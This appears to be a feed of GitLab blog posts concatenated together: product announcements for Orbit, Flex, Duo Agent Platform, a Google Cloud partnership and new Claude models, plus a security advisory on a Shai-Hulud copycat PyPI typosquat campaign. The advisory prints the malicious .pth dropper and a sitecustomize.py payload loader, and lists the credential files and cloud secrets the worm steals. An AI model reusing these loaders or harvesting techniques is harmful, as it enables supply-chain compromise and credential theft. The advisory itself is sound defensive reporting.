"Orbit gave us an AI code reviewer that actually understands our codebase, not just the diff in front of it. We tested it against RAG and a few other approaches across real merge requests, and the gap was clear. Better comment placement, better summaries of what actually changed. RAG, which we'd assumed would be the natural solution, ended up performing worse than no context at all. For us, that result spoke for itself."
- Ryan Harvey, Head of AI Engineering, Compare the Market

What you can do with GitLab Orbit

Here are two examples of how you can use GitLab Orbit in your environment.

Scenario 1: With Claude Code or other coding agents
The work you already do, faster and more accurate

Say, you already run Claude Code. When you point it at a large monorepo, it spends its first stretch, and a real share of its token budget, just crawling files to work out where things live and what connects to what. In a big enough codebase it follows the wrong threads, misses a dependency, or runs out of room before it starts the actual work.

Connect Claude Code to GitLab Orbit through Model Context Protocol (MCP) and it stops crawling. It asks the graph the questions it was trying to reconstruct by iterating where does this code live, what depends on it, which tests and pipelines cover it. Instead, it gets a precise answer in one or two queries. On the same tasks, with the same model, it’s up to 11 times faster, uses up to 4.5 times fewer tokens, and generates up to 45 times fewer hallucinations.

Scenario 2: With GitLab Duo Agent Platform
Answers that were never possible before

Some questions were never really answerable by an agent, because the answer isn't in the code — it's in how code connects to pipelines, deployments, vulnerabilities, and ownership across your whole system. Agents on GitLab Duo Agent Platform query Orbit natively, so you can now ask them things that used to mean a manual investigation across four tools.

Triage pipeline failures across the lifecycle. Today, an agent looking at a failing pipeline sees one job in isolation. With Orbit, it traces the failure to the change that introduced it, the projects where the same job is now drifting, and the merge requests still in flight that will encounter the same problem. To run discovery, Orbit issues graph queries like this one:

MATCH (job:CiJob {status: "failed", name: $job_name})-[:RAN_IN]->(pipeline)-[:FOR]->(mr:MergeRequest)
RETURN mr.title, mr.author, pipeline.started_at, mr.project_id
ORDER BY pipeline.started_at DESC LIMIT 20

One query, every in-flight MR that will hit the same failing job, across every project in your group. Your on-call team resolves the incident once instead of three teams resolving it three separate times.

Map vulnerability blast radius in minutes. Finding the vulnerable code is the easy part. Mapping the exposure (which services include the component, which pipelines build them, which environments they run in, which teams own them) is what slows teams down. One Orbit query returns the full graph, owner-by-owner. Security ships a remediation plan in the hour a CVE lands, not the week after, with each affected component already assigned to its owner.

Answer cross-system questions on demand. Cycle time by team, broken down by pipeline failure rate, joined to deployment frequency. One question, one answer, no dashboard request, no custom SQL. Engineering managers answer the question live in the executive review, not in a Slack follow-up three days later.

Scope migrations against current dependencies. Planning a migration today means searching for a shared component and hoping the search catches the downstream dependencies. With Orbit, every dependent service, job, environment, and owner returns in a single result. Platform teams commit to a migration date and meet it, instead of discovering hidden dependents three weeks in.

The graph supports any workflow where your team needs to understand how the system connects: code review, incident response, release planning, security, migration planning.

How GitLab Orbit works

Orbit ingests software development lifecycle data via change-data-capture into ClickHouse, parses code in 12 languages (Ruby, Java, Kotlin, Python, TypeScript, JavaScript, Rust, Go, C#, C, C++, PHP) through the Rails internal API, and serves the combined graph over a Cypher-like DSL, MCP, REST, and the GitLab CLI.

At GitLab's own scale, the indexer covers over 40,000 projects, 500 million nodes, and 2 billion edges in under 45 minutes. An event-driven engine picks up every change as it ships, so the graph stays current.

Indexing runs as a separate service; query traffic never hits your GitLab instance. Authorization mirrors GitLab permissions, so agents see exactly what their user can see in the UI. The query engine is built like a compiler: Every query goes through validation, planning, optimization, and security passes before it touches the database, so query speed doesn't degrade as your data grows.

There is no separate data infrastructure to stand up. Orbit builds on data GitLab already captures: issues, merge requests, pipelines, code, security findings, deployments, and incidents. You get value from day one with no new instrumentation.

Agents on GitLab Duo Agent Platform query the graph natively. External agents like Claude Code, Codex, and OpenCode connect through MCP and the GitLab CLI. Custom agents and internal tooling connect through REST. One graph, shared across your engineering organization.

Engineers query the same graph

The Data Explorer is the engineer-facing surface. Same graph, no agent in the way. Useful for the work that doesn't fit a fixed prompt: investigating an incident, tracing how a dependency spreads across services, figuring out why one area of the codebase keeps breaking CI. The answers come in seconds instead of hours of reconstruction across Git, CI, deploy tools, and dashboards.

Try Orbit now

GitLab Orbit is currently available in public beta for GitLab.com Premium and Ultimate customers. You can sign up by heading to about.gitlab.com/gitlab-orbit.

Fixed contracts, moving needs

The shift to agentic software engineering introduced uncertainty on three fronts at once:

• How many seats. The agentic era is changing who builds. Some companies are adding people who never worked in GitLab before so they can build directly on the platform, and want to grow seats. Others are reshaping their org structure and contractor mix around agents, which can push seat needs up or down. Your seat count six months out moves in both directions, and an annual contract locks you in with a single guess.
• How much AI usage. Agent usage grows on its own curve of use cases, enablement, and technology advancements.
• Which capabilities. New agentic infrastructure capabilities ship constantly. You can't know at signing which ones you'll want to adopt mid-year.

A traditional contract asks you to lock all three in advance and live with the guess until renewal. Guess high and you overpay for idle seats and capacity you never use. Guess low and adopting anything new means re-opening procurement cycles that stall the team right when it has momentum. Either way, the contract is fixed while your needs keep moving.

Annual budgets adapted monthly

GitLab Flex is one annual dollar commitment against a published rate card. From that single commitment you draw down platform seats, GitLab Credits, and eligible usage-based capabilities — across GitLab.com multi-tenant SaaS, Self-Managed (including air-gapped), and GitLab Dedicated single-tenant SaaS. The point is that the commitment flexes on exactly the three things you can't predict.

Adjust seats without waiting for renewal. When a team wraps a project and rolls off, you don't keep paying for idle seats until the contract comes up again. You can reallocate next month's reservations toward another team's seats, or toward AI usage inside the existing agreement.

Scale AI usage with predictable economics. Consumption draws from your annual commitment at the published rate. Usage above the full commitment bills on-demand at $1 per credit, so a busy month doesn't turn into a surprise. Larger commitments unlock better unit pricing, and reserved capacity costs less than unplanned usage.

Add new capabilities without new procurement. Eligible capabilities released after you sign land on the same rate card. When you want to turn one on, you draw it from the commitment you already have without the added steps of re-procurement.

If you've used consumption pricing elsewhere — cloud credits, observability credits — the drawdown will feel familiar. Here's what's different: With Flex, your seats and your usage live under the same commitment, so you can move budget between them. Most models keep seat licenses and usage credits in separate buckets you can't rebalance without going back to the table.

One agreement, any mix

A single Flex agreement can combine any of the following, all drawing from the same annual commitment:

• Platform seats. GitLab Premium and Ultimate at published rates, with volume discounts tied to your commitment level. (The Flex volume discount is the starting point for seat discounts, automatically applied based on total commitment size. Seat discounting can go above the Flex discount level with additional approvals.)
• GitLab Credits. Credit-metered capabilities like GitLab Duo Agent Platform, hosted runners, and artifact management, each at a published credit rate.
• Every deployment type. GitLab.com, Self-Managed, Dedicated, and air-gapped, all under one agreement — so your mix can shift over the term without restructuring.

Volume economics with spend controls

• Larger annual commitments unlock better unit pricing across the rate card, and reserved capacity costs less than unplanned usage.
• Subscription-level and per-user caps help your team stick to budgets along with admin controls at the project-group level.
• Unreserved seats draw at the effective price, the same pre-negotiated rate as reserved seats.
• Usage above the full Flex commitment bills at on-demand rates at $1 per credit or your negotiated per-seat price.
• Cloud-connected customers are billed automatically; air-gapped customers are invoiced twice a year.

Keep your current plan through renewal

GitLab Premium and GitLab Ultimate remain available at direct seat pricing. Flex is the recommended structure for new agreements, but existing customers can continue on their current contract through renewal. With Flex, tier capabilities do not change: GitLab Premium and Ultimate features remain.

If you are approaching renewal and want to evaluate Flex, your account team can model both options against your current capabilities and AI usage so you can compare before committing.

Start with a model built for what comes next

The shift to agentic software engineering is not only a product shift. It is a budgeting and planning shift. GitLab Flex gives organizations one agreement for platform and AI spend, plus a clearer operating model for managing both and a structure built to keep pace as needs change.

Customers can request orders with GitLab Flex now, with fulfillment rolling out throughout the quarter.

Request GitLab Flex

To explore the full set of platform innovations announced at Transcend, including GitLab Orbit, Agentic Git, and AI Governance, visit our What's New portal.

• Next-generation source code management, a Git engine rebuilt for agent-scale concurrency, now in private beta
• GitLab Orbit, our context graph for the full software lifecycle, now in public beta
• Agents for security and governance for agents, identity, policy, audit, and approval around every agent action, now in private beta
• GitLab Duo Agent Platform, our orchestration system where agents pick up issues, review code, and fix pipelines without pulling developers out of flow, generally available since January
• GitLab Flex, a buying model that bends to how AI adoption actually happens, now accepting orders

It's never been easier or faster to write code with agents, our research across more than 1,500 developers and tech leaders showed that 91% of organizations now run two or more AI coding tools, and 54% run three or more. Some of our customers' codebases are growing up to five times in a single year. But unmanaged, that speed creates chaos.

Catch up on all the action from Transcend with our on-demand webcast.

Agentic coding — speed with chaos

For most organizations, the answer to increasing the pace of innovation has been AI coding. But coding agents built on a fragmented software lifecycle isn't agentic engineering, it's a shortcut to inefficiency and risk.

We see it across our customers in recurring forms. Infrastructure built for human pace buckles under machine-scale concurrency in source code management. Agents have context around the code but not the full software development lifecycle (SDLC), so they stall out in large monorepos and give up across repos as the context window fills. Code, dependencies, and deployments change faster than teams can govern them. And fixed contracts force teams to guess at seats and credits a year ahead, in the era hardest to forecast.

The same research shows the strain: 73% worry about maintaining the code, and only 21% see productivity gains across the full SDLC.

None of this is a reason to slow down. It's a reason to build the agentic infrastructure that turns the speed of agentic coding into strong ROI.

Agentic coding + GitLab agentic infrastructure, delivering speed with control

GitLab is already the platform where enterprises build and ship software. Source code management (SCM), CI/CD, governance, deployment, and more all live in one place, and our platform currently serves more than 50 million users and 100,000 organizations. We sit in the path of every software team and the agents that touch their code, pipelines, or production.

Think of the platform as a living system, with four parts that work together the same way whether a human or an agent is doing the work. The motor system handles execution at agent scale, the source control, pipelines, and deployments that get software built and shipped. The nervous system gives every agent and human the context to make good decisions. The immune system puts proactive governance and security around every action.

And the orchestration system coordinates the other three, letting teams and their agents plan and carry out work across the full lifecycle. Whether the brain doing the work is human or agentic, it draws on all four.

At Transcend, we announced these innovations and a new buying program, and demonstrated how they come together with intelligent orchestration enabled by GitLab Duo Agent Platform.

Motor system: Next-gen SCM rebuilt for concurrency

SCM is the part of the platform worth focusing on here, because the Git backend buckles under agent load.

Git was built for a distributed workforce. We clone entire repositories to work on them, with branching and code merges scalable enough for hundreds of people around the globe to work in parallel. That model breaks when each team member runs hundreds of agents, resulting in:

• Clone tax. Clone repo to read one file, for every agent and every retry.
• Concurrency collapse. Thousands of sessions hit a human-scale backend at once, producing bottlenecks and unpredictable availability.
• No isolation. Agents share accounts and one branch space, so they pollute the repo, leave no clean way to discard work, and no record of which agent did what.

That's why we previewed the next-generation SCM, in private beta. It runs on the Git protocol for backward compatibility, with a redesigned backend and interfaces built for agents. So you can run agents on any repo, fan them out by the thousands, and let them experiment safely.

Our team has been working to validate the architectural direction: same Git compatibility and auditability, with a different motor underneath, designed for agentic access from the start.

Early internal results are promising: up to 2x fewer tokens, up to 50x faster wall clock time, and up to 1,000x less network traffic.

Watch the Next-gen SCM demo from Transcend London:

Nervous system: GitLab Orbit to answer the toughest questions from agents

Agents are adept at writing code and far less deft at navigating the system around it. They can see the code they're touching but not the full lifecycle, and that gap shows up as wasted work.

In a large monorepo, agents can burn too many iterations and too many tokens, and they take too long to get an answer. Across repos, they may fail outright as the context window fills and the agent gives up. The result is work that looks correct but gets reverted, and teams spending more time fixing agent output than the agent saved.

GitLab Orbit, now in public beta, is the context graph for the entire software lifecycle. It continuously maps code, work items, pipelines, deployments, and production signals into a single live graph, so agents reason from first-party context instead of fragmented signals. Engineers query the same graph through the Data Explorer to trace changes and investigate incidents, which means every decision draws from one source of truth.

In our early internal tests, agents grounded with Orbit had up to 11 times faster response, were up to 4.5 times more cost effective, and had up to 45 times fewer hallucinations.

Our customer, Compare the Market, A/B tested GitLab Orbit against a RAG-based approach and a no-context baseline using identical prompts and models, and found: Graph-grounded agents placed inline review comments in the correct location 70% of the time (0.696 accuracy), vs. 58% (0.577) for RAG. Compare the Market validated the approach on 79 real merge requests, where graph-based context outperformed conventional retrieval on comment placement accuracy.

Read more: Introducing GitLab Orbit: Full code and lifecycle context, in one query

Watch the GitLab Orbit demo from Transcend London:

Immune system: Agents for security and governance for agents

In the agentic era, the security and compliance exposure every team manages keeps multiplying. The faster agents ship code, the faster they ship the vulnerabilities that come with it. The cycle compounds: the more code agents generate, the more coverage gaps you uncover; the more you scan, the more findings you have to triage and fix; and the more agents you run, the more you need to prove each one did the right thing, under the right policy, to stand behind your risk posture.

That cycle is why, building on GitLab Ultimate, we've added agents for security and introduced governance for agents.

The agents for security work the exposure side: scanning, triaging, and resolving vulnerabilities as fast as agents create them, so the volume agents generate doesn't bury the teams responsible for securing it.

Governance for agents, in private beta, works the trust side. When agents push code, touch dependencies, and trigger deployments at scale, the question shifts from "did we scan?" to "which agent did what, under which policy, and can we prove it?"

Governance for agents puts identity, policy, audit, and approval around every agent action, with real-time visibility into inputs, reasoning, tool calls, and high-risk or anomalous activity across the organization. When something unexpected happens, the full execution context and audit trail are already there: what changed, which policy allowed it, and who signed off.

Watch the "Agents for security and governance for agents" demo from Transcend London:

Orchestration system: GitLab Duo Agent Platform

These capabilities above are infrastructure. GitLab Duo Agent Platform is the orchestration system that brings them together in the work developers do every day, and adoption has taken off: weekly active users have grown 10 times since we announced general availability in January.

The friction in software delivery was never the work itself, developers know how to write code, review it, and fix a pipeline. It's the context-switching, the waiting, and the handoffs between each of those steps, where time leaks out and focus breaks.

On GitLab Duo Agent Platform, agents work across that full loop: picking up a well-scoped issue and opening a merge request, reviewing it against the team's own rules rather than generic best practices, and resolving the review feedback that comes back.

The quality holds up against independent scrutiny. GitLab Duo Code Review placed in the top five of AI code review tools scored on the Martian Offline Benchmark. And because these flows can run automatically on event triggers, a failing pipeline can be diagnosed and fixed without pulling multiple engineers out of flow, with the platform distinguishing a break that needs a code change from one that just needs a rerun.

Watch the GitLab Duo Agent Platform demo from Transcend London:

GitLab Flex: Commit once, reshape your seats and AI spend

The agentic era made your needs harder to predict, and the way you buy software hasn't caught up. Six months out, you don't know how many seats you'll need, how much AI your teams will consume, or which new capabilities you'll want to turn on, yet a traditional contract fixes all three up front and won't budge until renewal. Guess high and you pay for idle seats; guess low and adopting anything new means re-opening procurement.

That's what GitLab Flex, available now, solves. It's one annual commitment you reshape month to month across seats, AI usage, and new capabilities, all drawing from the same agreement, with no amendment and no new procurement cycle. When a team rolls off a project, you reallocate next month's reservations toward another team or toward AI. When a capability ships after you sign, you turn it on from the commitment you already have. Seats and usage live under one commitment, so you can move budget between them as adoption shifts. (For background on the usage-based foundation Flex builds on, see this introduction to GitLab Credits.)

Read more: GitLab Flex: Commit once, reshape your seats and AI spend

Watch the GitLab Flex demo from Transcend London:

The difference between coding and shipping

Agentic coding only gets you part of the way. The coding agent generates the change; GitLab's agentic infrastructure checks it against your full context, workflows, and guardrails and makes it safe to ship, at the speed agents work and the scale enterprises run.

Get started today

GitLab Orbit is available now in public beta: join the beta program. Next-generation SCM and governance for agents capabilities are in private beta, and you can request early access here. Agents for security are available now in GitLab Ultimate. Duo Agent Platform is generally available. Finally, GitLab Flex is accepting requests for orders now: To learn more, get in touch.

Our mission is to unlock every team to ship trusted software at the speed of imagination, and we cannot wait to see what you build.

This builds on our April 2026 collaboration, which lets you call Google models through GitLab Duo Agent Platform and count that usage toward your existing Google Cloud commitment. Today, you also get a fully managed way to run the platform itself — and a deeper, faster model roadmap.

Why this matters

Running software development at scale puts two things in tension: you want access to the strongest, newest AI models, and you need control over your code, pipelines, and security data — ideally in the same platform, not bolted together from separate tools. Most teams end up trading one for the other: sovereignty without modern AI, or modern AI without governance. This collaboration is built to give you both. Here's what you can now do.

Run GitLab fully managed on Google Cloud

You don't have to be your own integrator. GitLab-certified MSP partners, including Beyond and Digital Future, now deliver a fully managed GitLab offering on Google Cloud, built for organizations subject to country-specific sovereignty, data residency, and other regulated requirements.

• Your data stays where you need it. You keep full control over where your code, pipelines, and security data reside, while running the full GitLab platform on Google Cloud infrastructure.
• No operational burden. Your MSP partner runs the platform to a high service-level agreement, so your team doesn't carry the work of managing the underlying infrastructure.
• Auditable by design. Your compliance teams keep visibility into every agent action, merge request, and security finding through GitLab's built-in audit and policy controls. Governance doesn't stop when an agent takes over a workflow.

Match the model to the task

The latest Gemini models, including Gemini 3.5 Flash, are now available in GitLab Duo Agent Platform via Gemini Enterprise Agent Platform, and because GitLab is in Google's Gemini early-access program, new Gemini models keep landing in Duo as they ship, with no procurement work on your side. Different software tasks need different models, so the lineup gives you a clear choice:

For self-hosted and regulated teams, Gemma 4 is now available for GitLab Duo Self-Hosted — an open-weight option beyond Gemini. It plugs into GitLab's self-hosted models architecture, so you run your own AI Gateway and keep every request and response inside your environment, on-premises or in a private cloud.

Leverage your existing Google Cloud commitment

Buy GitLab and Duo Agent Platform through Google Cloud Marketplace, and you can draw down your existing Google Cloud commitment to fund it:

• No new budget cycle. Scale agentic AI against a commitment you've already made, instead of re-opening procurement every quarter.
• One bill, one view. Platform, inference, and infrastructure spend land in the same Google Cloud billing surface — nothing to reconcile across vendors.

On top of that, you keep GitLab's own cost controls: usage dashboards, policy over which models run where, and the GitLab Credits model that gives your finance team predictable consumption. So you can answer the question your board is already asking — what did we spend on AI this quarter, and what did we get for it.

One governed platform, less fragmentation

Strong models bring better reasoning, faster tool calling, and long-context handling. GitLab Duo Agent Platform brings the software-delivery context a standalone coding assistant doesn't have — the merge request, the pipeline, the deployment target — which is what keeps a multi-step agent from stalling, and what makes monorepo-scale review workable at all. Put them together and your deployment, model choice, governance, and spend stay aligned inside the platform you already ship from, instead of fragmenting across separate assistants, security tools, and disconnected endpoints.

That's the whole point of doing this with Google Cloud: the right deployment option, the right models, and the right cost controls to run DevSecOps at scale, on infrastructure you control, with governance your compliance teams can audit.

If you are not using GitLab Duo Agent Platform today, you can start with a free trial.

If you are already using GitLab in the free tier, you can sign up for GitLab Duo Agent Platform by following a few simple steps.

And if you are an existing GitLab Premium or Ultimate subscriber, you can get started by turning on Duo Agent Platform and using the GitLab Credits that are included with your subscription.

We confirmed that GitLab was not using any of the affected packages and are sharing our findings to help the broader security community respond effectively.

Inside the attack

Our monitoring systems flagged five malicious PyPI packages from a single account (elitexp) on June 7, 2026. Four are typosquats:

• rlask and tlask, typosquats of Flask
• rsquests, a typosquat of Requests
• nhmpy, a typosquat of NumPy

The fifth, mflux-streamlit, is a legitimate project with real users that the attacker weaponized by publishing malicious versions 0.0.3 and 0.0.4 after the typosquat wave.

The attacker published clean "probe" versions first, with version numbers matching the real latest releases exactly (Flask 3.1.3, Requests 2.34.2, and NumPy 2.4.6). Once these were indexed without issue, the attacker pushed new versions with the worm payload baked in.

This is a copycat deployment. TeamPCP, the group behind Shai-Hulud, open-sourced the worm's code on May 12, 2026. We've been tracking independent actors picking up the toolkit and aiming it at new targets since then. This campaign brings the same worm to the Python ecosystem.

Technical analysis

Initial infection vector

The original npm variant used a preinstall script. This campaign takes a different approach, exploiting Python's .pth file mechanism. Wheel packages can ship .pth files that Python processes automatically on startup, requiring no explicit import. Each malicious package includes a file like rlask-setup.pth containing a one-liner dropper:

import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");
_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u...')

The dropper checks for a marker file (.bun_ran in the system temp directory) to avoid re-execution, then downloads the Bun JavaScript runtime from GitHub and uses it to execute a 5 MB obfuscated JavaScript payload bundled in the package.

Early versions of rlask also included a sitecustomize.py file as a backup execution path. Python auto-imports sitecustomize on startup, and this file searched sys.path for the hidden _index.js payload:

import subprocess, os, sys
for d in sys.path:
  js = os.path.join(d, "_index.js")
  if os.path.exists(js):
    subprocess.run(["node", js])
    break

The attacker dropped this backup mechanism in later versions, apparently finding the .pth approach sufficient on its own.

Payload obfuscation

The JavaScript payload is wrapped in three layers:

1. A ROT-N character cipher applied to an integer array (the rotation value varies per package: ROT-13 for rlask@3.1.4, ROT-17 for rsquests, ROT-25 for tlask)
2. AES-128-GCM encryption with hardcoded keys, producing two encrypted blobs
3. Standard variable-name mangling (_0x prefix obfuscation) on the inner payload

We decrypted the payload through static analysis without executing any code. The first blob (907 bytes) is the Bun runtime downloader. The second blob (772 KB) is the complete Shai-Hulud credential stealer, containing 2,538 hardcoded strings.

For researchers performing their own analysis, here are the AES decryption keys:

Credential harvesting

Once running, the worm goes after credentials across every major cloud and CI/CD platform:

• GitHub Actions: GITHUB_TOKEN, personal access tokens, fine-grained tokens, OIDC tokens, organization and repository secrets, Actions artifacts, and runner process memory
• AWS: IAM access keys, secret keys, session tokens, IMDS instance credentials (169[.]254[.]169[.]254), Secrets Manager entries, SSM parameters, STS federation tokens
• Azure: Client secrets, managed identity tokens, Key Vault secrets, federated credentials, Microsoft Graph API tokens
• GCP: Service account keys, application default credentials, cloud-platform scope tokens
• HashiCorp Vault: Vault tokens from seven known filesystem paths (/var/run/secrets/vault-token, /etc/vault/token, /root/.vault-token, and others), plus API access and Kubernetes Vault auth
• npm / JFrog: npm tokens, JFrog/Artifactory API keys, OIDC token exchange
• PyPI: Publishing tokens, OIDC mint tokens
• RubyGems: API keys, gem publishing credentials
• SSH: Private keys for lateral movement
• Kubernetes: Service account tokens, kubeconfig files
• Sigstore: OIDC tokens and Fulcio signing certificates, which would allow the attacker to sign artifacts under a trusted identity
• Databases: MongoDB, MySQL, PostgreSQL, and Redis connection strings with embedded passwords

Self-propagation

Like the original npm variant, this is not just a stealer. It propagates. Using stolen credentials, the worm:

• Commits .github/setup.js and workflow files to accessible GitHub repositories, causing the worm to re-execute in other CI pipelines
• Injects .github/copilot-instructions.md to poison AI code assistants
• Publishes additional poisoned packages to PyPI, npm, and RubyGems using stolen registry tokens
• Attempts privilege escalation on self-hosted CI runners by injecting sudoers rules
• Checks for StepSecurity's harden-runner and adjusts behavior if detected

The attacker

All five packages are owned by the PyPI account elitexp. The account was created in November 2024 with a legitimate package (mflux-streamlit, a Streamlit UI for image generation with 11 stars on GitHub). The associated GitHub account (github[.]com/elitexp) is 13+ years old with 43 public repositories, including university coursework and Laravel projects.

Upload metadata shows all packages were published using Bun/1.3.14 as the user-agent, the same runtime the malware downloads as part of its execution chain.

The attacker also weaponized mflux-streamlit itself. Versions 0.0.1 and 0.0.2 are clean, but Versions 0.0.3 and 0.0.4, published at 15:23 and 15:37 UTC after the typosquat campaign, contain the same .pth dropper and obfuscated payload. This makes the attack more dangerous than a typical typosquat: mflux-streamlit is a real project with existing users who may receive the poisoned update through normal dependency resolution.

Indicators of compromise

What to do if you're affected

If any of these packages were installed in your environment:

1. Remove the package immediately and check for the .bun_ran marker file in your system temp directory.
2. Rotate all credentials that were accessible to the environment where the package was installed. This includes CI/CD tokens, cloud provider credentials, SSH keys, and registry publishing tokens.
3. Audit your GitHub repositories for unexpected commits, especially files matching .github/setup.js, .github/copilot-instructions.md, or modified workflow files.
4. Check your package registry accounts (PyPI, npm, RubyGems) for packages you did not publish.
5. Review CI/CD pipeline logs for unexpected Bun downloads or JavaScript execution.

Timeline

How GitLab can help you detect these packages

If you are using GitLab Ultimate, you can use Dependency Scanning to automatically surface exposure to these packages in your projects. We have filed advisories (GMS-2026-572 through GMS-2026-576) covering all five packages in the GitLab Advisory Database. Once merged, any project with Dependency Scanning enabled will flag these packages in pipeline results and the Vulnerability Report.

For teams managing many repositories, GitLab Duo Chat with the Security Analyst Agent can help triage quickly. Ask questions like:

• "Are any of my dependencies affected by the Shai-Hulud PyPI campaign?"
• "Does this project have any malicious Python dependencies?"

Looking ahead

We expected this campaign after TeamPCP open-sourced the Shai-Hulud worm in May. Independent actors are picking up the toolkit and deploying it against new ecosystems. The Python variant uses a different initial infection vector (.pth files instead of preinstall scripts) but carries the same credential harvesting and self-propagation code underneath.

Our monitoring systems continue to track copycat deployments across npm, PyPI, and other registries. We will update this post as more information becomes available.

Find more articles from the Vulnerability Research team on our Security Labs site.

Claude Fable 5, a Mythos-class model with robust safeguards from Anthropic, is now available on GitLab Duo Agent Platform. For developers, platform engineers, and engineering leaders, this is not an incremental model update. Claude Fable 5 completes multi-step, goal-directed work that previous models could not sustain, and it does so with measurably fewer iterations. Duo Agent Platform features, including Duo Agentic Chat and Duo foundational agents, benefit from Claude Fable 5's expanded capabilities. Claude Fable 5 is available across all tiers and all deployment models through GitLab's AI Gateway.

Get accurate results on the first attempt

Claude Fable 5 brings a measurable improvement in first-shot correctness on complex, well-specified problems. Early testers reported single-pass implementations of systems that previously took days of iteration with prior models.

In GitLab Duo Agentic Chat, this translates to fewer rounds of back-and-forth. When you describe what you need with specificity, the response is more likely to match your intent and produce working results. This matters most on the tasks where iteration cost is highest: multi-file refactors, incident investigation, and infrastructure-as-code definitions.

Claude Fable 5 also interprets dense technical images, web applications, and detailed screenshots with significantly higher accuracy than prior models, often using fewer output tokens.

Run longer, more reliable AI agent workflows

The most significant shift in Claude Fable 5 is long-horizon autonomy. The model sustains productive output over extended periods, successfully completing multi-day, goal-directed runs while maintaining instruction adherence across millions of tokens.

For teams using GitLab Duo agents on the platform, the agent workflows that previously required manual checkpoints or re-prompting can now run to completion. Claude Fable 5 self-corrects through verification loops, catches its own mistakes, and stays on-task across complex multi-step operations. It dispatches and sustains parallel sub-agents far more reliably than previous models, so workflows that fan out across multiple repositories or services hold together.

Engineering leaders evaluating AI adoption should note the operational implication: Claude Fable 5 reduces the human oversight cost per agent run. Teams can assign harder problems to agents, check results asynchronously, and trust that the output reflects genuine progress rather than fabricated status reports.

Find more bugs and resolve incidents faster

Bug-finding recall is noticeably higher than previous models. Outage triage, root cause analysis, and repository history investigation all show improvement.

When reviewing merge requests through GitLab Duo Agent Platform, Claude Fable 5 catches issues that prior models missed. It reasons through code paths with greater depth, identifies edge cases more consistently, and produces code review comments that are actionable rather than generic. For platform engineers managing CI/CD workflows, this means fewer defects reaching production and faster mean time to resolution when something breaks.

Start with your hardest unsolved problem

If you test Claude Fable 5 only on routine tasks, you will miss its most significant capabilities. Anthropic's own testing found that the teams seeing the best outcomes point Claude Fable 5 at problems they assumed previous AI models could not handle, then let it scope, ask clarifying questions, and execute.

On GitLab Duo Agent Platform, try assigning a complex, multi-file refactor to a GitLab Duo agent. Use Duo Agentic Chat to investigate a production incident across your repository history, or to tackle an implementation you would normally write by hand because you weren’t confident AI would get it right.

Claude Fable 5 is available on GitLab Duo Agent Platform starting July 1, 2026.

Try GitLab Duo Agent Platform today

You can experience the benefits of Claude Fable 5 by starting a free trial of GitLab Duo Agent Platform.

If you are already using GitLab in the free tier, you can sign up for GitLab Duo Agent Platform by following a few simple steps.

And if you are an existing subscriber to GitLab Premium or Ultimate, you can take advantage by simply turning on Duo Agent Platform and start using GitLab Credits that are included with your subscription.

Agents fail most often on complex, multi-step work: tasks that span multiple tools and go from intent to production without losing track of the project goal. Claude Opus 4.8, Anthropic's latest model for coding and agentic tasks, is built for that work, and now available in GitLab Duo Agent Platform via model selection in Agentic Chat and across agent workflows in your GitLab instance.

Opus 4.8 delivers more precise execution across complex agentic sequences where agents run autonomously over extended time periods. With more comprehensive reasoning and planning, teams can expect cleaner end-state results with fewer interventions to redirect agents along the way.

Improved long-horizon agentic execution

For teams with established agent workflows, Opus 4.8 interprets instructions more precisely than prior models. Agents handling extended sequences complete each step as specified, which means more efficient and accurate outcomes with less time reviewing and correcting agent output.

Opus 4.8 is also stronger on professional work beyond coding: document drafting, data analysis, and structured knowledge tasks. For teams using GitLab Duo agents across planning and documentation workflows, as well as coding, Opus 4.8 handles those tasks more reliably, too.

Support for mid-conversation system prompts

Opus 4.8 adds support for mid-conversation system prompts: System instructions can be updated partway through a session without invalidating the prompt cache. Teams building on the API can use this when async context arrives mid-session: when files change on disk, when token budget shifts, or when user context updates, without restarting the cache.

Get started today

Claude Opus 4.8 is available now in GitLab Duo Agent Platform. Like other models, Opus 4.8 runs on GitLab Credits. For a full list of models and their credit consumption, please visit our documentation.

Start a free trial of GitLab Duo Agent Platform today, or sign up from the GitLab Free tier by following a few simple steps. Existing GitLab Premium or Ultimate subscribers can use the GitLab Credits included with their subscription.